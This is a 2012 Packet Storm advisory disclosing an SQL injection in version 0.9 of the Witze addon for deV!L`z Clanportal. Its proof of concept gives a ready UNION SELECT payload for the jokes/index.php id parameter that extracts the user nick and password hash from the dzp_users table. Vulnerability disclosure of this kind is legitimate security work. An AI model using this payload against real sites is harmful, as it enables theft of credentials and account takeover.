Lucene search

K
packetstormEasy LasterPACKETSTORM:110428
HistoryMar 04, 2012 - 12:00 a.m.

deV!L`z Clanportal Witze 0.9 SQL Injection

2012-03-0400:00:00
Easy Laster
packetstormsecurity.com
64
`========================================================================================  
| # Title : deV!L`z Clanportal Witze Addon Versions 0.9 SQL Injection Vulnerability  
| # Author : Easy Laster  
| # Download : http://dzcp-zone.de/downloads/?action=show&id=97  
| # Script : Witze Addon Versions 0.9  
| # Price : free  
| # Bug : SQL Injection  
| # Date : 03.03.2012  
| # Language : PHP  
| # Status : vulnerable  
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah  
====================== Proof of Concept =================================  
[+] Vulnerability  
jokes/index.php?action=show&id=  
[+] Injectable  
jokes/index.php?action=show&id=9999999999999999999999999999+union+select+1,1,nick,pwd,1,1+from+dzp_users+where+id=1--+  
  
`